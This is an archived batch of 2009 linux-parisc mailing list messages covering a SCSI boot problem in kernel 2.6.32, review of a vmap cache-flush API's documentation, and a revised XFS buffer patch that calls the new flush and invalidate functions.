To: linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 06:40:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNgRV-0008Ox-Ko
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Dec 2009 06:40:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751032AbZLXFk5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Dec 2009 00:40:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751282AbZLXFk5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Dec 2009 00:40:57 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:40626 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751032AbZLXFk4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Dec 2009 00:40:56 -0500
Original-Received: by bwz27 with SMTP id 27so5142729bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 21:40:55 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to
         :content-type;
        bh=OK45Rgjl+0rjZISnTRu8o0NCMcEn2CWWY0lBoVFVFp0=;
        b=LRBcNqL272Z1JOtjVo+ettUnj9m1251KYtcchoPVRNmnb6/J5j28kiDHgxvMStBYgK
         pVtbD3eEuMAIfFEkcBD4vNhwHBJ4470k/9eOuaBMHuccxb17k7NTIMC6a8U86BSFbvhv
         ILF1D9eSjcg9oDQCa/cvp2Wkfb+Z1Tp+WrnQo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        b=tG0hn22pDIUtRXf06itRiMEnaITANQdliMqS3RpYMd4xO7glxf7JtjpHsqFTdEzvII
         4zlnvD131Z0YGd6QW5ZRjRW4MFH1k5ZUDCUxaHY3FU4hEW0dWIVdUooy7K1F6sEVzKqx
         n7eiVdMTGogum/67A4vt0YyrXOkUIHh5fdy/Y=
Original-Received: by 10.204.155.82 with SMTP id r18mr6680234bkw.180.1261633254973; 
	Wed, 23 Dec 2009 21:40:54 -0800 (PST)
In-Reply-To: <119aab440912231819x621898d2lf2b58a3e27b86047@mail.gmail.com>
X-Google-Sender-Auth: 8c25ad12e06c6518
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2506>

On Wed, Dec 23, 2009 at 9:19 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> When booting 2.6.32, my scsi drives don't come online, all I see during boot is:
> ~~~
> sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
> sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
> sym53c8xx 0000:00:01.1: enabling device (0000 -> 0003)
> sym53c8xx 0000:00:01.1: enabling SERR and PARITY (0003 -> 0143)
> sym53c8xx 0000:00:02.0: enabling device (0000 -> 0003)
> sym53c8xx 0000:00:02.0: enabling SERR and PARITY (0003 -> 0143)
> sym53c8xx 0000:00:02.1: enabling device (0146 -> 0147)
> ~~~
> When booting 2.6.32-rc6 the drives come online right away after they
> are enabled.
>
> No amount of waiting helps.
>
> Any clues?

I've started bisecting the commits between 2.6.32-rc6 and 2.6.32 to
see what broke this for my setup.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Fleming <matt@console-pimps.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap
	areas
Date: Thu, 24 Dec 2009 10:08:53 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20091224100853.GA3165@console-pimps.org>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de> <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261649346 14776 80.91.229.12 (24 Dec 2009 10:09:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2009 10:09:06 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 11:08:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNkcr-00084o-Of
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Dec 2009 11:08:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755296AbZLXKI5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Dec 2009 05:08:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753884AbZLXKI5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Dec 2009 05:08:57 -0500
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:48234 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751896AbZLXKI4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Dec 2009 05:08:56 -0500
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id F2DB163773;
	Thu, 24 Dec 2009 10:08:39 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id foiR8ENRh0o9; Thu, 24 Dec 2009 19:08:39 +0900 (JST)
Original-Received: from localhost (cpc5-brad6-0-0-cust25.barn.cable.virginmedia.com [82.38.64.26])
	by master.linux-sh.org (Postfix) with ESMTP id 2073B6375A;
	Thu, 24 Dec 2009 19:08:38 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2507 gmane.linux.kernel.cross-arch:4927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2507>

On Wed, Dec 23, 2009 at 03:22:21PM -0600, James Bottomley wrote:
> +
> +  void flush_kernel_vmap_range(void *vaddr, int size)
> +       flushes the kernel cache for a given virtual address range in
> +       the vmap area.  This API makes sure that and data the kernel

  	      	   	       	   	      	^^^ code and data?

> +  void invalidate_kernel_vmap_range(void *vaddr, int size)
> +       invalidates the kernel cache for a given virtual address range
> +       in the vmap area.  This API is designed to make sure that while
> +       I/O went on to an address range in the vmap area, the processor
> +       didn't speculate cache reads and thus make the cache over the
> +       virtual address stale.
> +

Could this sentence be reworked a little? I find the "over the virtual
address" part a little difficult to parse.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv2 5/5] xfs: fix xfs to work with Virtually Indexed architectures
Date: Thu, 24 Dec 2009 12:03:14 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <20091224110314.GA21653@lst.de>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de> <1261603345-2494-2-git-send-email-James.Bottomley@suse.de> <1261603345-2494-3-git-send-email-James.Bottomley@suse.de> <1261603345-2494-4-git-send-email-James.Bottomley@suse.de> <1261603345-2494-5-git-send-email-James.Bottomley@suse.de> <1261603345-2494-6-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261652627 23152 80.91.229.12 (24 Dec 2009 11:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2009 11:03:47 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 12:03:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNlTm-00024A-Ot
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Dec 2009 12:03:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757114AbZLXLD3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Dec 2009 06:03:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757106AbZLXLD2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Dec 2009 06:03:28 -0500
Original-Received: from verein.lst.de ([213.95.11.210]:37918 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757056AbZLXLDZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Dec 2009 06:03:25 -0500
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id nBOB3EcH022210
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Thu, 24 Dec 2009 12:03:14 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-7.2) id nBOB3EZg022209;
	Thu, 24 Dec 2009 12:03:14 +0100
Content-Disposition: inline
In-Reply-To: <1261603345-2494-6-git-send-email-James.Bottomley@suse.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: 0 () 
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2508 gmane.linux.kernel.cross-arch:4929
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2508>

On Wed, Dec 23, 2009 at 03:22:25PM -0600, James Bottomley wrote:
> xfs_buf.c includes what is essentially a hand rolled version of
> blk_rq_map_kern().  In order to work properly with the vmalloc buffers
> that xfs uses, this hand rolled routine must also implement the flushing
> API for vmap/vmalloc areas.
> 
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>

Looks good except some minor style issues.  Fix in the version below
which also adds a helper to calculate the length of the vmap area
instead of calculating it twice.

---

From: James Bottomley <James.Bottomley@suse.de>
Subject: [PATCHv2 5/5] xfs: fix xfs to work with Virtually Indexed architectures

xfs_buf.c includes what is essentially a hand rolled version of
blk_rq_map_kern().  In order to work properly with the vmalloc buffers
that xfs uses, this hand rolled routine must also implement the flushing
API for vmap/vmalloc areas.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>

Index: linux-2.6/fs/xfs/linux-2.6/xfs_buf.c
===================================================================
--- linux-2.6.orig/fs/xfs/linux-2.6/xfs_buf.c	2009-12-17 08:05:53.962275389 +0100
+++ linux-2.6/fs/xfs/linux-2.6/xfs_buf.c	2009-12-24 11:59:02.031073134 +0100
@@ -76,6 +76,27 @@ struct workqueue_struct *xfsconvertd_wor
 #define xfs_buf_deallocate(bp) \
 	kmem_zone_free(xfs_buf_zone, (bp));
 
+static inline int
+xfs_buf_is_vmapped(
+	struct xfs_buf	*bp)
+{
+	/*
+	 * Return true if the buffer is vmapped.
+	 *
+	 * The XBF_MAPPED flag is set if the buffer should be mapped, but the
+	 * code is clever enough to know it doesn't have to map a single page,
+	 * so the check has to be both for XBF_MAPPED and bp->b_page_count > 1.
+	 */
+	return (bp->b_flags & XBF_MAPPED) && bp->b_page_count > 1;
+}
+
+static inline int
+xfs_buf_vmap_len(
+	struct xfs_buf	*bp)
+{
+	return (bp->b_page_count * PAGE_SIZE) - bp->b_offset;
+}
+
 /*
  *	Page Region interfaces.
  *
@@ -314,7 +335,7 @@ xfs_buf_free(
 	if (bp->b_flags & (_XBF_PAGE_CACHE|_XBF_PAGES)) {
 		uint		i;
 
-		if ((bp->b_flags & XBF_MAPPED) && (bp->b_page_count > 1))
+		if (xfs_buf_is_vmapped(bp))
 			free_address(bp->b_addr - bp->b_offset);
 
 		for (i = 0; i < bp->b_page_count; i++) {
@@ -1107,6 +1128,9 @@ xfs_buf_bio_end_io(
 
 	xfs_buf_ioerror(bp, -error);
 
+	if (!error && xfs_buf_is_vmapped(bp))
+		invalidate_kernel_vmap_range(bp->b_addr, xfs_buf_vmap_len(bp));
+
 	do {
 		struct page	*page = bvec->bv_page;
 
@@ -1216,6 +1240,10 @@ next_chunk:
 
 submit_io:
 	if (likely(bio->bi_size)) {
+		if (xfs_buf_is_vmapped(bp)) {
+			flush_kernel_vmap_range(bp->b_addr,
+						xfs_buf_vmap_len(bp));
+		}
 		submit_bio(rw, bio);
 		if (size)
 			goto next_chunk;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap
	areas
Date: Thu, 24 Dec 2009 05:39:13 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20091224123913.GD5335@parisc-linux.org>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de> <1261603345-2494-2-git-send-email-James.Bottomley@suse.de> <20091224100853.GA3165@console-pimps.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261658372 5758 80.91.229.12 (24 Dec 2009 12:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2009 12:39:32 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>,
	linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: Matt Fleming <matt@console-pimps.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 13:39:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNmyK-0000As-4S
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Dec 2009 13:39:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753070AbZLXMjP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Dec 2009 07:39:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752882AbZLXMjP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Dec 2009 07:39:15 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:34317 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752112AbZLXMjP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Dec 2009 07:39:15 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A1AF8494005; Thu, 24 Dec 2009 05:39:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20091224100853.GA3165@console-pimps.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2509 gmane.linux.kernel.cross-arch:4934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2509>

On Thu, Dec 24, 2009 at 10:08:53AM +0000, Matt Fleming wrote:
> On Wed, Dec 23, 2009 at 03:22:21PM -0600, James Bottomley wrote:
> > +
> > +  void flush_kernel_vmap_range(void *vaddr, int size)
> > +       flushes the kernel cache for a given virtual address range in
> > +       the vmap area.  This API makes sure that and data the kernel
> 
>   	      	   	       	   	      	^^^ code and data?

I'd guess it's a typo for 'any data'.

> > +  void invalidate_kernel_vmap_range(void *vaddr, int size)
> > +       invalidates the kernel cache for a given virtual address range
> > +       in the vmap area.  This API is designed to make sure that while
> > +       I/O went on to an address range in the vmap area, the processor
> > +       didn't speculate cache reads and thus make the cache over the
> > +       virtual address stale.
> > +
> 
> Could this sentence be reworked a little? I find the "over the virtual
> address" part a little difficult to parse.

How about:

invalidates the processor cache for a given virtual address range
in the vmap area.  This API addresses the problem that the processor
may have performed speculative reads into its cache of the vmapped
area while I/O was occurring to the underlying physical pages.

Signed-off-by: Matthew Wilcox <willy@linux.intel.com>

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Fleming <matt@console-pimps.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap
	areas
Date: Thu, 24 Dec 2009 13:06:25 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20091224130625.GC3165@console-pimps.org>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de> <1261603345-2494-2-git-send-email-James.Bottomley@suse.de> <20091224100853.GA3165@console-pimps.org> <20091224123913.GD5335@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261659999 9903 80.91.229.12 (24 Dec 2009 13:06:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2009 13:06:39 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>,
	linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 14:06:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNnOg-0000wh-CP
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Dec 2009 14:06:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754668AbZLXNGa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Dec 2009 08:06:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754733AbZLXNG3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Dec 2009 08:06:29 -0500
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:60681 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751750AbZLXNG2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Dec 2009 08:06:28 -0500
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id C69E063773;
	Thu, 24 Dec 2009 13:06:11 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fvgTRJVIkOHP; Thu, 24 Dec 2009 22:06:11 +0900 (JST)
Original-Received: from localhost (cpc5-brad6-0-0-cust25.barn.cable.virginmedia.com [82.38.64.26])
	by master.linux-sh.org (Postfix) with ESMTP id D3B376375A;
	Thu, 24 Dec 2009 22:06:10 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <20091224123913.GD5335@parisc-linux.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2510 gmane.linux.kernel.cross-arch:4935
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2510>

On Thu, Dec 24, 2009 at 05:39:13AM -0700, Matthew Wilcox wrote:
> On Thu, Dec 24, 2009 at 10:08:53AM +0000, Matt Fleming wrote:
> > On Wed, Dec 23, 2009 at 03:22:21PM -0600, James Bottomley wrote:
> > > +
> > > +  void flush_kernel_vmap_range(void *vaddr, int size)
> > > +       flushes the kernel cache for a given virtual address range in
> > > +       the vmap area.  This API makes sure that and data the kernel
> > 
> >   	      	   	       	   	      	^^^ code and data?
> 
> I'd guess it's a typo for 'any data'.
> 

Aha yes, that would make more sense.

> > > +  void invalidate_kernel_vmap_range(void *vaddr, int size)
> > > +       invalidates the kernel cache for a given virtual address range
> > > +       in the vmap area.  This API is designed to make sure that while
> > > +       I/O went on to an address range in the vmap area, the processor
> > > +       didn't speculate cache reads and thus make the cache over the
> > > +       virtual address stale.
> > > +
> > 
> > Could this sentence be reworked a little? I find the "over the virtual
> > address" part a little difficult to parse.
> 
> How about:
> 
> invalidates the processor cache for a given virtual address range
> in the vmap area.  This API addresses the problem that the processor
> may have performed speculative reads into its cache of the vmapped
> area while I/O was occurring to the underlying physical pages.
> 
> Signed-off-by: Matthew Wilcox <willy@linux.intel.com>

Sounds good to me!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: No drives come online in 2.6.32?
Date: Fri, 25 Dec 2009 16:46:55 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20091225234654.GA23763@lackof.org>
References: <119aab440912231819x621898d2lf2b58a3e27b86047@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261784826 5376 80.91.229.12 (25 Dec 2009 23:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Dec 2009 23:47:06 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 00:46:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOJs1-0001pw-Ay
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Dec 2009 00:46:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756521AbZLYXq4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Dec 2009 18:46:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756389AbZLYXq4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 25 Dec 2009 18:46:56 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:45154 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753203AbZLYXq4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Dec 2009 18:46:56 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 80B2C33E026A;
	Fri, 25 Dec 2009 16:46:55 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mB1FdIY2FJZt; Fri, 25 Dec 2009 16:46:55 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 18CA533E026F; Fri, 25 Dec 2009 16:46:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <119aab440912231819x621898d2lf2b58a3e27b86047@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2511>

On Wed, Dec 23, 2009 at 09:19:19PM -0500, Carlos O'Donell wrote:
> When booting 2.6.32, my scsi drives don't come online, all I see during boot is:
> ~~~
> sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
> sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
> sym53c8xx 0000:00:01.1: enabling device (0000 -> 0003)
> sym53c8xx 0000:00:01.1: enabling SERR and PARITY (0003 -> 0143)
> sym53c8xx 0000:00:02.0: enabling device (0000 -> 0003)
> sym53c8xx 0000:00:02.0: enabling SERR and PARITY (0003 -> 0143)
> sym53c8xx 0000:00:02.1: enabling device (0146 -> 0147)
> ~~~
> When booting 2.6.32-rc6 the drives come online right away after they
> are enabled.
> 
> No amount of waiting helps.

Do you have CONFIG_SCSI_SCAN_ASYNC=y ?

If so, add CONFIG_SCSI_WAIT_SCAN=m or disable SCAN_ASYNC.

While this should work, it sounds like it's not working.

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: wire up sys_recvmmsg
Date: Sat, 26 Dec 2009 12:32:04 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20091226173204.GF11593@bombadil.infradead.org>
References: <20091222225033.GA6996@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261848744 23830 80.91.229.12 (26 Dec 2009 17:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
